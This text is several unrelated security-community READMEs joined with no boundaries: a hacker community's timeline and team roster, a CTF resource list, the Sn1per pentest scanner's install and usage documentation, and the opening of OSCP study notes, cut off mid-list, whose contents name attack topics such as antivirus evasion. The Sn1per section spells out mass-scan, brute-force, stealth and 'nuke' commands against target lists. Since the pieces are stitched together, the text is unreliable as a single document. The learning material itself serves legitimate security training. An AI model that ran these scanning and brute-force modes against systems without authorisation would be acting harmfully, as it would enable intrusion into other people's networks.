ResetHacker.CCID page. - 8th July 2020 > ResetHacker Team (Solo rider and gaurav Yadav) finished the reset developer page for ResetHacker.Kudos to Altaf for leading the project. - 7th July 2020 > ResetDevelopers co-leader(@Harsh) created an even sheet to simplify the task of Developers. - 29th June 2020 > ResetDeveloper has submitted a prototype of ResetHacker websites and Thanks to @⁨RH(Altaf)⁩ @⁨RH(Harsh Docker)⁩ @⁨RH(Gaurav Dev+other)⁩ @⁨RH(Gagan Kartike Dev)⁩ @⁨RH(Shivansh Panday)⁩ @⁨RH(Miheer Gujarat Android Dev & Front End Dev)⁩ @⁨RH(waleed)⁩ @⁨M_solo_sad_rider⁩ @RH(gagan @⁨RH(Rohan )⁩ and @⁨RH(Sagerpanwar)⁩. - 17th June 2020 > ResetHacker launches the **medium publication** for community people and Gaurav Yadav Published his 1st blog Basic of ×86 architecture. > Resetdevelopers dept. created a rough structure of resethacker.com .Kudos to team members Altaf, Harsh and gaurav. - 14th June 2020 > ResetHacker Launches a **mini CTF series** called "Let's play CTF" with creators CyberKnight and moderator Smile_Hacker to promote CTF. > ResetDeveloper Department finalising the websites and it's types either the dynamic or static. - 12 June 2020 > ResetHacker Celebrates the 5k on Instagram with live Q/A segment and team members Cryptonic07, Walled, Harsh Sangvi and Gaurav Singh interacted with everyone. -11th June 2020 > ResetHacker Launches it's departments 1.) **ResetDeveloper department with leader Altaf Shaikh** and 2.) **ResetHacker.CCID with leader Gaurav Singh.** - 25th May 2020 > ResetHacker team RyukSec (CTF leader) published his tutorials video on **ResetHacker Youtube.** -19th May 2020 > ResetHacker team Smile_Hacker(Bug Hunter) published his tutorial video on "*ResetHacker Youtube.** > 11th May 2020 - ResetHacker officially launched **ResetHacker Community** with Vikram and Youtube channel. - 10th May 2020 > ResetHacker launched a weekly interview series called **The ResetHacker Show** with host cryptonic07, Tushar baweja, Gaurav Singh and Series Coordinator Encryptor. > The guests appeared on the ResetHacker show are **Aditya shende, Harsh Bothra, Ashish Kunwar, Kishan Choudhary, Udit Bhadaurai, Mr Hacker, Aakash Sharma, Mayank Bharti, that faceless coder, Rupendra Bauhtey and Tushar Baweja.** -1st May 2020 > ResetHacker partnership with **Coding Ninja** to conduct a Webinars. -28th April 2020 > ResetHacker partnership with Coding ninja to promote the Free online test series. - 23rd April 2020 > Hackeracademy congrats ResetHacker work for making HAVOC a huge success and 3k+ members visited for the HAVOC conference. - 11th April 2020 > Social Media Announcement of **HAVOC online Hacking Conference** with help of DESC official, TRA, Hackersacademy and Resethacker. > The **sponsors** for the HAVOC are **MALCROVE, Zero Day Initiative, Resilience Cybersecurity, Takdeliver and Trend Micro.** - 26 January 2019 > Vikram creates and launches RESETHacker on Instagram, started a blog series called Certified Ethical Hacking and to promote Ethical Hacking. > ResetHacker launches the Series with index, question and showcases the popular Attack vector, attack server, defend server, and continued his blog on ResetHacker. # Meet ResetHacker ## Leader of Weekly Infosec Update Name | Roles -- | -- Lead | Good Resources Share Co-lead | Paul Miller ## Leader of ResetDevelopers Department (Offline) Name | Roles -- | -- Lead | Altaf Shaik Co-lead | Harsh Sangvi ## Leader of ResetHacker.CCID Department (Offline) Name | Roles -- | -- Lead | Gaurav Singh Co-lead | SaurabBagz ## Leader of Editors Department (Offline) Name | Roles -- | -- Lead | Gautam Makawana Lead | Ranjeet ## Leaders of ResetHacker community 2023-20** (Online) Name | Roles -- | -- Vikram | [Lead Community & Content director] Paul Miller | [] ## Leaders of ResetHacker Corporate Mentors 2023-20** (Online) Name | Roles -- | -- Updating Soon | [Updating Soon] ## Leaders of ResetHacker community 2019-2021 (Offline) Name | Roles -- | -- Attr1b | [Lead Community & Content director] Tushar Baweja | [Team Manager of RESETHACKER](https://instagram.com/thetusharbaweja?igshid=h2uuc0a3ju4q) Sauravbaghz | [Leader & Team coordinator](https://instagram.com/souravbaghz?igshid=11ev1197z9qtt) CyberKnight | [Lead CTF creator & Discord Host](https://instagram.com/cyberknight00?igshid=xuceryx1s7y) Cryptonic07 | [Host & Core team](https://instagram.com/cryptonic007?igshid=1ff7bpzyxyo25) Encryptor | [Social media Manager of RESETHACKER](https://instagram.com/_.encryptor._?igshid=2bw4lipcnz1m) 1.1.1.1_ | [Content coordinated](https://instagram.com/1.1.1.1_____?igshid=1mx7aqr29mio6) Rudraksh shini | [CTF CO-lead & Lead CTF Event](https://instagram.com/thehackerscrew_?igshid=ctvvrg69gi0b) Vijay | [Youtube Manager & discord Moderater ](https://instagram.com/_.v_j._?igshid=vrvvi9b9uo7c) DreyAnd | [Team member](https://instagram.com/dreycoding?igshid=ra07a6cb6w8y) Sahili gore| [Technical writer & CTF player](https://instagram.com/xotic_hacker?igshid=1e19h8sa06c5j) Pratik Rajkumar Gupta | [Discord moderator & community Contributor]() Riyaz Ahmad | [CTF player & Creator]() Sarthak Joshi | [CTF player & Technical writer]() QuiteHacker | [Host of Security Monday]() Basavaraj Banakar | [YouTube Host]() Simran Singh | [Medium admin & Technical writer]() Anugrah SR | [Event planner & Moderator]() Tushar Varma | [Event planner & Moderator]() Rahul RC | [GitHub Management & Moderator](https://twitter.com/coder_rc) Ujjawal Kumar | [GitHub Management & Contributor]() ## Team of ResetDevelopers Department (Offline) Name | Developer Department -- | -- Altaf Shikh | [Team lead & Back-end developer](https://instagram.com/ialtafshaikh?igshid=1x3yi6o25uf1v) G7 | [Lead App developer](https://instagram.com/g7__pro?igshid=qq5z20uh88ft) Rohan chouhan | [Team advisor](https://instagram.com/coders.arena?igshid=1luqw330aiwrr) Harsh Singhvi | [Devops Lead & Team co-ordinator](https://instagram.com/insomniac_coder?igshid=5w1s7jlwc5bi) Sager panwar | [Front end developer and Github moderator](https://instagram.com/sagarpanwar5249?igshid=8lpyy1lufdn8) Mr.Solo sad rider | [Front end developer](https://instagram.com/mr.solo_sad_rider?igshid=17msl7m9b8dh9) Mihir | [Front end developer]() Waleed | [Lead Mi/Ai ](https://instagram.com/pistalavista?igshid=ghh094dihv5k) ## Team of ResetHacker.CCID Department (Offline) Name | CCID department -- | -- Gaurav singh | [Lead CCID](https://instagram.com/_i_am_root_?igshid=1jpna3lvkhnb6) Souravbaghz | [Co-lead](https://instagram.com/itninja.official?igshid=1weibdzj3jzav) NavinHariharan | [Forensics & Awareness](https://instagram.com/itninja.official?igshid=1paawj040ns0s) Cybersquard | [Forensics and awareness](https://instagram.com/cyb3rsqu4d?igshid=1bsoe5ub6d7a9) Chittaranjan Kumar | [Forensics and awareness](https://instagram.com/@chitta2019) Dhrupad Soni | [Core Investigation]() ## Team of ResetEditors Department (offline) Name | Editor Department -- | -- Gautam | [Lead( Graphics Designer)]() Kalsariya mitulbhai | [Graphics Designer]() Chiranjit | [Video Editor Lead & Technical writer](https://instagram.com/cyberchiranjit?igshid=1mj784pc55lv2) Mayank | [Video Editor Co-Lead](https://instagram.com/mtrsacademy1?igshid=1fzbwfj5szh9t) Akash Majumder | [Video Editor]() Chitrayudh Basu | [Video Editor]() Rohit Kumar | [Video Editor]() Mayank Arora | [Video Editor]() Gokula krishnan | [Video Editor]() Kumar Ayush | [Graphical Design](https://instagram.com/imtheayush?igshid=11yqzlobsso6f) ## Leaders of Security Departments Name |Roles] -- | -- Vikram | [Founder & Board of Director] 4usmodous | [Board Member & Lead clients](https://instagram.com/aki_4smodeus?igshid=ljsbk8v5bfwy) Me.Alien | [Board of Directors](https://instagram.com/all_illusions__?igshid=1oclwhm4jmbgi) *M. Jaffer | [Resethacker Adviser](https://instagram.com/moh4mm3d_j4ff3r?igshid=l17pbrnd854q) Tajwer khan | [Resethacker Adviser](https://instagram.com/tajwar_khan_?igshid=mxxr8b95owdc) CyberKnight | [Pentester](https://instagram.com/cyberknight00?igshid=xuceryx1s7y) Harsh Boathra | [Pentester & Bug Hunter]() Arnav Tripathy | [Pentester & Security Researcher](https://instagram.com/arnavtripathy98?igshid=qbuppe2klpfe) Cryptonic07 | [pentester & CTF player ](https://instagram.com/cryptonic007?igshid=1ff7bpzyxyo25) SmileHacker | [Bug Hunter & Security Researchers]() # [Contributors of ResetHacker](contributers.md) ## Be Social with RESETHACKER > [Twitter](https://twitter.com/resethacker) | [Blog](https://instagram.com/@resethacker/) Index | Social Media --- | --- -🎓 | [RESETHACKR Telegram](https://t.me/resethacker/) -🗨 | [RESETHACKER Discord](https://discord.gg/HbM3435JcX) -👁️‍🗨️ | [Instagram](https://instagram.com/@resethacker/) -👩‍💻 | [Tools](https://github.com/RESETHACKER-COMMUNITY/) -🏆 | [LinkedIn](https://www.linkedin.com/in/RESETHACKER/) -💬 | [Medium](https://www.resethackerofficial.medium.com/) -📩 | [Contact]([email protected]) -🌐 | [Website](https://resethacker.com/) Thank you
# usr0 Security Club Resources This repo stands as a list of resources and materials needed to succeed in CTFs and basic pen testing environments. All materials used during usr0 meetings will be posted and documented here. Resources To Learn From --------------------- #### Websites - [OverTheWire](http://overthewire.org/wargames/bandit/) - Tutorial on linux commands basic and advanced - [OSINT Framework](https://osintframework.com/) - Links to anything and everything - [Hacksplaining](https://www.hacksplaining.com/lessons) - Interactive explanation of different types of attacks - [Hack The Box](https://www.hackthebox.eu/) - Pen Testing lab machines - [Try Hack Me](https://tryhackme.com/) - Pen Testing and informative guides all done through the browser. - [PortSwigger Web Security Academy](https://portswigger.net/web-security) - Web security training from the creators of Burp Suite - [PentesterLab](https://pentesterlab.com) - Web hacking challenges #### Youtube - [CyberSecurityTV](https://www.youtube.com/c/CyberSecurityTV/featured) - We are teaching tools, techniques and methods which can be used on penetration testing assignments. - [Ippsec](https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA) - Retired HackTheBox machine walkthroughs - [Hak5](https://www.youtube.com/user/Hak5Darren/featured) - High level/easy to understand hacking topics - [Nahamsec](https://www.youtube.com/channel/UCCZDt7MuC3Hzs6IH4xODLBw/playlists) - Web Hacking - [LiveOverflow](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w) - CTF/Bug Bounties/All around hacking channel - [John Hammond](https://www.youtube.com/user/RootOfTheNull) - Easy to follow CTF walkthroughs - [hacker 101](https://www.hacker101.com/videos) - A diverse set of topics for the beginner #### Books - [Black Hat Python](https://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900/ref=sr_1_1?ie=UTF8&qid=1536204838&sr=8-1&keywords=blackhat+python) - [Grey Hat Python](https://www.amazon.com/Gray-Hat-Python-Programming-Engineers/dp/1593271921/ref=sr_1_1?ie=UTF8&qid=1536204978&sr=8-1&keywords=grey+hat+python) - [Hacking: The Art of Exploitation](https://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441) - [Reverse Engineering for Beginners](https://github.com/ckonstantinou/re4b) - [Practical Malware Analysis](https://www.amazon.com/Practical-Malware-Analysis-Hands-Dissecting/dp/1593272901) #### Fun Reads - [PoC||GTFO](https://www.alchemistowl.org/pocorgtfo/) - [Phrak](http://phrack.org/archives/) #### Podcasts - [Darknet Diaries](https://darknetdiaries.com/) Python Tools --------------------- - Pwntools [Documentation](http://docs.pwntools.com/en/stable/) | [GitHub](https://github.com/Gallopsled/pwntools) - [Impacket](https://github.com/SecureAuthCorp/impacket) - [Scapy](https://github.com/secdev/scapy/) - [thePacketGeek](https://thepacketgeek.com/) | Examples using Scapy - [Requests](https://docs.python.org/3/library/urllib.request.html) - [Web Hacking Tools](https://github.com/nahamsec/bbht) Scripting Tools & Guides --------------------- - BASH [Intro-To-BASH](https://www.linux.com/training-tutorials/writing-simple-bash-script/) | [YouTube](https://www.youtube.com/watch?v=PPQ8m8xQAs8) - Powershell [Guide](https://docs.microsoft.com/en-us/learn/modules/introduction-to-powershell/) Steganography --------------------- - [StegCracker](https://github.com/Paradoxis/StegCracker) - [StegSolve](https://github.com/eugenekolo/sec-tools/blob/master/stego/stegsolve/stegsolve/stegsolve.jar) - [StegHide](http://steghide.sourceforge.net/) Reverse Engineering --------------------- - [Radare2](https://github.com/radare/radare2) - [Ghidra](https://github.com/NationalSecurityAgency/ghidra) - [Binwalk](https://github.com/ReFirmLabs/binwalk) - [Foremost](https://github.com/korczis/foremost) - [pwngdb](https://github.com/pwndbg/pwndbg) - [peda 4 gdb](https://github.com/longld/peda) Networking --------------------- - [WireShark](https://www.wireshark.org/) - [NetworkMiner](http://www.netresec.com/?page=NetworkMiner) - [tcpflow](https://github.com/simsong/tcpflow) - PCAP file analysis [Tool](https://malware-traffic-analysis.net/) Web App --------------------- - [BurpSuite](https://portswigger.net/burp) - [ZAP](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) Crypto / Cipher --------------------- - [CyberChef](https://gchq.github.io/CyberChef/) - [Cipher ID'er](https://www.boxentriq.com/code-breaking/cipher-identifier) Intro-Tools --------------------- - Kali | [USB](https://linuxconfig.org/how-to-install-kali-linux#targetText=Begin%20The%20Install,drive%20as%20the%20boot%20device.&targetText=When%20Kali%20starts%20up%2C%20it,Select%20%22Install.%22) | [Dual Boot](https://www.kali.org/docs/installation/dual-boot-kali-with-windows/) | [Virtual Machine](https://www.nakivo.com/blog/install-kali-linux-vmware/) | [VMWare for Chico Students](https://support.csuchico.edu/TDClient/1984/Portal/KB/ArticleDet?ID=112995) - Nmap [Github](https://github.com/nmap/nmap) | [Website Download](https://nmap.org/download.html) - Metasploit [Website Download](https://www.metasploit.com/download) - Burp Suite [Website Download](https://portswigger.net/burp/communitydownload) Virtual Machines --------------------- - [VulnHub](https://www.vulnhub.com/) Competitions --------------------- - [National Cyber League (NCL)](https://www.nationalcyberleague.org/) - [Collegiate Penetration Testing Competition (CPTC)](https://cptc-west.stanford.edu/)
[![Sn1perSecurity](https://sn1persecurity.com/images/Sn1perSecurity-Attack-Surface-Management-header2.png)](https://sn1persecurity.com) [![GitHub release](https://img.shields.io/github/release/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/releases) [![GitHub issues](https://img.shields.io/github/issues/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/issues) [![Github Stars](https://img.shields.io/github/stars/1N3/Sn1per.svg?style=social&label=Stars)](https://github.com/1N3/Sn1per/) [![GitHub Followers](https://img.shields.io/github/followers/1N3.svg?style=social&label=Follow)](https://github.com/1N3/Sn1per/) [![Tweet](https://img.shields.io/twitter/url/http/xer0dayz.svg?style=social)](https://twitter.com/intent/tweet?original_referer=https%3A%2F%2Fdeveloper.twitter.com%2Fen%2Fdocs%2Ftwitter-for-websites%2Ftweet-button%2Foverview&ref_src=twsrc%5Etfw&text=Sn1per%20-%20Automated%20Pentest%20Recon%20Scanner&tw_p=tweetbutton&url=https%3A%2F%2Fgithub.com%2F1N3%2FSn1per) [![Follow on Twitter](https://img.shields.io/twitter/follow/xer0dayz.svg?style=social&label=Follow)](https://twitter.com/intent/follow?screen_name=xer0dayz) [[Website](https://sn1persecurity.com/wordpress/)] [[Blog](https://sn1persecurity.com/wordpress/blog/)] [[Shop](https://sn1persecurity.com/wordpress/shop)] [[Documentation](https://sn1persecurity.com/wordpress/documentation/)] [[Demo](https://www.youtube.com/c/Sn1perSecurity/videos)] [[Find Out More](https://sn1persecurity.com/wordpress/external-attack-surface-management-with-sn1per/)] ## Attack Surface Management ### Discover hidden assets and vulnerabilities in your environment #### [[Find out more](https://sn1persecurity.com/wordpress/shop)] [![](https://sn1persecurity.com/wordpress/wp-content/uploads/2022/05/Sn1per-Enterprise-workspace-navigator1-3.png)](https://sn1persecurity.com/) ## The ultimate pentesting toolkit. Integrate with the leading commercial and open source vulnerability scanners to scan for the latest CVEs and vulnerabilities. [![](https://sn1persecurity.com/wordpress/wp-content/uploads/2022/05/Sn1per-Enterprise-workspace-report1-3.png)](https://sn1persecurity.com/) ### Automate the most powerful tools. Security tools are expensive and time-consuming, but with Sn1per, you can save time by automating the execution of these open source and commercial tools to discover vulnerabilities across your entire attack surface. [![](https://sn1persecurity.com/wordpress/wp-content/uploads/2022/05/Sn1per-Enterprise-host-list3-1.png)](https://sn1persecurity.com/) ### Find what you can't see. Hacking is a problem that's only getting worse. But, with Sn1per, you can find what you can’t see—hidden assets and vulnerabilities in your environment. [![](https://sn1persecurity.com/wordpress/wp-content/uploads/2022/05/Sn1per-Enterprise-host-list2-1.png)](https://sn1persecurity.com/) ### Discover and prioritize risks in your organization. Sn1per is a next-generation information gathering tool that provides automated, deep, and continuous security for organizations of all sizes. [![](https://sn1persecurity.com/wordpress/wp-content/uploads/2022/05/Sn1per-Enterprise-vulnerability-report1-3.png)](https://sn1persecurity.com/) ### See Sn1per in action! [![](https://sn1persecurity.com/wordpress/wp-content/uploads/2022/10/Sn1perbootcampseries1.png)](https://www.youtube.com/c/Sn1perSecurity/videos) ### News - #### [5 Ways Sn1per Can Automate Your Security Workflow](https://sn1persecurity.com/wordpress/5-ways-sn1per-can-automate-your-security-workflow/) - #### [External Attack Surface Management with Sn1per](https://sn1persecurity.com/wordpress/external-attack-surface-management-with-sn1per/) - #### [Sn1per Scan Engine v10.2 Released!](https://sn1persecurity.com/wordpress/sn1per-scan-engine-v10-2-update/) - #### [Sn1per Enterprise Released!](https://sn1persecurity.com/wordpress/sn1per-enterprise-released/) - #### [Sn1per Professional v10.0 Released!](https://sn1persecurity.com/wordpress/sn1per-professional-v10-released/) ## Kali/Ubuntu/Debian/Parrot Linux Install ``` git clone https://github.com/1N3/Sn1per cd Sn1per bash install.sh ``` ## AWS AMI (Free Tier) VPS Install [![](https://sn1persecurity.com/wordpress/wp-content/uploads/2022/06/AWS-Marketplace.png)](https://aws.amazon.com/marketplace/pp/prodview-rmloab6wnymno) To install Sn1per using an AWS EC2 instance: 1. Go to https://aws.amazon.com/marketplace/pp/prodview-rmloab6wnymno and click the “Continue to Subscribe” button 2. Click the “Continue to Configuration” button 3. Click the “Continue to Launch” button 4. Login via SSH using the public IP of the new EC2 instance ## Docker Install [![](https://sn1persecurity.com/images/docker-logo.png)](https://hub.docker.com/r/sn1persecurity/sn1per) From a new Docker console, run the following commands. ``` Download https://raw.githubusercontent.com/1N3/Sn1per/master/Dockerfile docker build -t sn1per . docker run -it sn1per /bin/bash or docker pull xer0dayz/sn1per docker run -it xer0dayz/sn1per /bin/bash ``` ## Usage ``` [*] NORMAL MODE sniper -t <TARGET> [*] NORMAL MODE + OSINT + RECON sniper -t <TARGET> -o -re [*] STEALTH MODE + OSINT + RECON sniper -t <TARGET> -m stealth -o -re [*] DISCOVER MODE sniper -t <CIDR> -m discover -w <WORSPACE_ALIAS> [*] SCAN ONLY SPECIFIC PORT sniper -t <TARGET> -m port -p <portnum> [*] FULLPORTONLY SCAN MODE sniper -t <TARGET> -fp [*] WEB MODE - PORT 80 + 443 ONLY! sniper -t <TARGET> -m web [*] HTTP WEB PORT MODE sniper -t <TARGET> -m webporthttp -p <port> [*] HTTPS WEB PORT MODE sniper -t <TARGET> -m webporthttps -p <port> [*] HTTP WEBSCAN MODE sniper -t <TARGET> -m webscan [*] ENABLE BRUTEFORCE sniper -t <TARGET> -b [*] AIRSTRIKE MODE sniper -f targets.txt -m airstrike [*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED sniper -f targets.txt -m nuke -w <WORKSPACE_ALIAS> [*] MASS PORT SCAN MODE sniper -f targets.txt -m massportscan [*] MASS WEB SCAN MODE sniper -f targets.txt -m massweb [*] MASS WEBSCAN SCAN MODE sniper -f targets.txt -m masswebscan [*] MASS VULN SCAN MODE sniper -f targets.txt -m massvulnscan [*] PORT SCAN MODE sniper -t <TARGET> -m port -p <PORT_NUM> [*] LIST WORKSPACES sniper --list [*] DELETE WORKSPACE sniper -w <WORKSPACE_ALIAS> -d [*] DELETE HOST FROM WORKSPACE sniper -w <WORKSPACE_ALIAS> -t <TARGET> -dh [*] GET SNIPER SCAN STATUS sniper --status [*] LOOT REIMPORT FUNCTION sniper -w <WORKSPACE_ALIAS> --reimport [*] LOOT REIMPORTALL FUNCTION sniper -w <WORKSPACE_ALIAS> --reimportall [*] LOOT REIMPORT FUNCTION sniper -w <WORKSPACE_ALIAS> --reload [*] LOOT EXPORT FUNCTION sniper -w <WORKSPACE_ALIAS> --export [*] SCHEDULED SCANS sniper -w <WORKSPACE_ALIAS> -s daily|weekly|monthly [*] USE A CUSTOM CONFIG sniper -c /path/to/sniper.conf -t <TARGET> -w <WORKSPACE_ALIAS> [*] UPDATE SNIPER sniper -u|--update ``` ## Modes * **NORMAL:** Performs basic scan of targets and open ports using both active and passive checks for optimal performance. * **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking. * **FLYOVER:** Fast multi-threaded high level scans of multiple targets (useful for collecting high level data on many hosts quickly). * **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning. * **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke. * **DISCOVER:** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans. * **PORT:** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode. * **FULLPORTONLY:** Performs a full detailed port scan and saves results to XML. * **MASSPORTSCAN:** Runs a "fullportonly" scan on mutiple targets specified via the "-f" switch. * **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly. * **MASSWEB:** Runs "web" mode scans on multiple targets specified via the "-f" switch. * **WEBPORTHTTP:** Launches a full HTTP web application scan against a specific host and port. * **WEBPORTHTTPS:** Launches a full HTTPS web application scan against a specific host and port. * **WEBSCAN:** Launches a full HTTP & HTTPS web application scan against via Burpsuite and Arachni. * **MASSWEBSCAN:** Runs "webscan" mode scans of multiple targets specified via the "-f" switch. * **VULNSCAN:** Launches a OpenVAS vulnerability scan. * **MASSVULNSCAN:** Launches a "vulnscan" mode scans on multiple targets specified via the "-f" switch. ## Help Topics - [x] Plugins & Tools (https://github.com/1N3/Sn1per/wiki/Plugins-&-Tools) - [x] Scheduled scans (https://github.com/1N3/Sn1per/wiki/Scheduled-Scans) - [x] Sn1per Configuration Options (https://github.com/1N3/Sn1per/wiki/Sn1per-Configuration-Options) - [x] Sn1per Configuration Templates (https://github.com/1N3/Sn1per/wiki/Sn1per-Configuration-Templates) - [x] Sc0pe Templates (https://github.com/1N3/Sn1per/wiki/Sc0pe-Templates) ## Integration Guides - [x] Github API integration (https://github.com/1N3/Sn1per/wiki/Github-API-Integration) - [x] Burpsuite Professional 2.x integration (https://github.com/1N3/Sn1per/wiki/Burpsuite-Professional-2.x-Integration) - [x] OWASP ZAP integration (https://github.com/1N3/Sn1per/wiki/OWASP-ZAP-Integration) - [x] Shodan API integration (https://github.com/1N3/Sn1per/wiki/Shodan-Integration) - [x] Censys API integration (https://github.com/1N3/Sn1per/wiki/Censys-API-Integration) - [x] Hunter.io API integration (https://github.com/1N3/Sn1per/wiki/Hunter.io-API-Integration) - [x] Metasploit integration (https://github.com/1N3/Sn1per/wiki/Metasploit-Integration) - [x] Nessus integration (https://github.com/1N3/Sn1per/wiki/Nessus-Integration) - [x] OpenVAS API integration (https://github.com/1N3/Sn1per/wiki/OpenVAS-Integration) - [x] GVM 21.x integration (https://github.com/1N3/Sn1per/wiki/GVM-21.x-Integration) - [x] Slack API integration (https://github.com/1N3/Sn1per/wiki/Slack-API-Integration) - [x] WPScan API integration (https://github.com/1N3/Sn1per/wiki/WPScan-API-Integration) ## License & Legal Agreement For license and legal information, refer to the LICENSE.md (https://github.com/1N3/Sn1per/blob/master/LICENSE.md) file in this repository. ## Purchase Sn1per Professional To obtain a Sn1per Professional license, go to https://sn1persecurity.com. Attack Surface Management (ASM) | Continuous Attack Surface Testing (CAST) | Attack Surface Software | Attack Surface Platform | Continuous Automated Red Teaming (CART) | Vulnerability & Attack Surface Management | Red Team | Threat Intel | Application Security | Cybersecurity | IT Asset Discovery | Automated Penetration Testing | Hacking Tools | Recon Tool | Bug Bounty Tool | Vulnerability Scanner | Attack Surface Analysis | Attack Surface Reduction | Attack Surface Detector | Attack Surface Monitoring | Attack Surface Review | Attack Surface Discovery | Digital Threat Management | Risk Assessment | Threat Remediation | Offensive Security Framework | Automated Penetration Testing Framework | External Threat Management | Internal IT Asset Discovery | Security Orchestration and Automation (SOAR) | Sn1per tutorial | Sn1per tool | Sn1per metasploit | Sn1per for windows | Sn1per review | Sn1per download | how to use Sn1per | Sn1per professional download | Sn1per professional crack | automated pentesting framework | pentest-tools github | ad pentest tools | pentest-tools review | security testing tools | ubuntu pentesting tools | pentesting tools for mac | cloud-based pen-testing tools
`Note: These are my notes for personal reference!` # 𝐎𝐒𝐂𝐏 𝐏𝐫𝐞-𝐏𝐫𝐞𝐩𝐚𝐫𝐚𝐭𝐢𝐨𝐧 𝐏𝐥𝐚𝐧 𝐚𝐧𝐝 𝐍𝐨𝐭𝐞𝐬 > - `21st March 2022` : Start Date > - `19th Sept 2022` : Expected End Date > - `180 days` : Goal --- <img src="https://user-images.githubusercontent.com/68887544/159728391-b9c52bda-b711-4c63-aa52-3886a7ab54c1.png"> ## ⁍ 𝐓𝐚𝐛𝐥𝐞 𝐨𝐟 𝐂𝐨𝐧𝐭𝐞𝐧𝐭𝐬 - Resources: > - [Pre-requisites](#𝐏𝐫𝐞-𝐫𝐞𝐪𝐮𝐢𝐬𝐢𝐭𝐞𝐬) > - [Getting Comfortable with Kali Linux](#𝐆𝐞𝐭𝐭𝐢𝐧𝐠-𝐂𝐨𝐦𝐟𝐨𝐫𝐭𝐚𝐛𝐥𝐞-𝐰𝐢𝐭𝐡-𝐊𝐚𝐥𝐢-𝐋𝐢𝐧𝐮𝐱) > - [Command Line Fun](#𝐂𝐨𝐦𝐦𝐚𝐧𝐝-𝐋𝐢𝐧𝐞-𝐅𝐮𝐧) > - [Practical Tools](#𝐏𝐫𝐚𝐜𝐭𝐢𝐜𝐚𝐥-𝐓𝐨𝐨𝐥𝐬) > - [Bash Scripting](#𝐁𝐚𝐬𝐡-𝐒𝐜𝐫𝐢𝐩𝐭𝐢𝐧𝐠) > - [Passive Information Gathering](#𝐏𝐚𝐬𝐬𝐢𝐯𝐞-𝐈𝐧𝐟𝐨𝐫𝐦𝐚𝐭𝐢𝐨𝐧-𝐆𝐚𝐭𝐡𝐞𝐫𝐢𝐧𝐠) > - [Active Information Gathering](#𝐀𝐜𝐭𝐢𝐯𝐞-𝐈𝐧𝐟𝐨𝐫𝐦𝐚𝐭𝐢𝐨𝐧-𝐆𝐚𝐭𝐡𝐞𝐫𝐢𝐧𝐠) > - [Vulnerability Scanning](#𝐕𝐮𝐥𝐧𝐞𝐫𝐚𝐛𝐢𝐥𝐢𝐭𝐲-𝐒𝐜𝐚𝐧𝐧𝐢𝐧𝐠) > - [Web Application Attacks](#𝐖𝐞𝐛-𝐀𝐩𝐩𝐥𝐢𝐜𝐚𝐭𝐢𝐨𝐧-𝐀𝐭𝐭𝐚𝐜𝐤𝐬) > - [Buffer Overflow](#𝐁𝐮𝐟𝐟𝐞𝐫-𝐎𝐯𝐞𝐫𝐟𝐥𝐨𝐰) > - [Client-side Attacks](#𝐂𝐥𝐢𝐞𝐧𝐭-𝐬𝐢𝐝𝐞-𝐀𝐭𝐭𝐚𝐜𝐤𝐬) > - [Locating Public Exploits](#𝐋𝐨𝐜𝐚𝐭𝐢𝐧𝐠-𝐏𝐮𝐛𝐥𝐢𝐜-𝐄𝐱𝐩𝐥𝐨𝐢𝐭𝐬) > - [Antivirus Evasion](#𝐀𝐧𝐭𝐢𝐯𝐢𝐫𝐮𝐬-𝐄𝐯𝐚𝐬𝐢𝐨𝐧) > - [Privilege Escalation](#𝐏𝐫𝐢𝐯𝐢𝐥𝐞𝐠𝐞-𝐄𝐬𝐜𝐚𝐥𝐚𝐭𝐢𝐨𝐧) > - [Password Attacks](#𝐏𝐚𝐬𝐬𝐰𝐨𝐫𝐝-𝐀𝐭𝐭𝐚𝐜𝐤𝐬) > - [Port Redirection and Tunneling](#𝐏𝐨𝐫𝐭-𝐑𝐞𝐝𝐢𝐫𝐞𝐜𝐭𝐢𝐨𝐧-𝐚𝐧𝐝-𝐓𝐮𝐧𝐧𝐞𝐥𝐢𝐧𝐠) > - [Active Directory Attacks](#𝐀𝐜𝐭𝐢𝐯𝐞-𝐃𝐢𝐫𝐞𝐜𝐭𝐨𝐫𝐲-𝐀𝐭𝐭𝐚𝐜𝐤𝐬) > - [The Metasploit Framework](#𝐓𝐡𝐞-𝐌𝐞𝐭𝐚𝐬𝐩𝐥𝐨𝐢𝐭-𝐅𝐫𝐚𝐦𝐞𝐰𝐨𝐫𝐤) > - [Powershell Empire](#𝐏𝐨𝐰𝐞𝐫𝐬𝐡𝐞𝐥𝐥-𝐄𝐦𝐩𝐢𝐫𝐞) > - [Trying Harder: The Labs](#𝐓𝐫𝐲𝐢𝐧𝐠-𝐇𝐚𝐫𝐝𝐞𝐫-𝐓𝐡𝐞-𝐋𝐚𝐛𝐬) - [Strategy](#𝐒𝐭𝐫𝐚𝐭𝐞𝐠𝐲) ## 𝐏𝐫𝐞-𝐫𝐞𝐪𝐮𝐢𝐬𝐢𝐭𝐞𝐬 > - Solid understanding of TCP/IP networking > - TCP/IP Fundamentals > - [Part I](https://youtu.be/xdQ9sgpkrX8) > - [Part II](https://youtu.be/NdvWI6RH1eo) > - Familiarity with basic Bash and/or Python scripting > - Python Books: > - [Learn Python 3 the hard way](https://g.co/kgs/dtmGpu) > - [Learn More Python 3 the hard way](https://g.co/kgs/iqHMau) > - [Black Hat Python](https://g.co/kgs/xmdQNE) > - [Violent 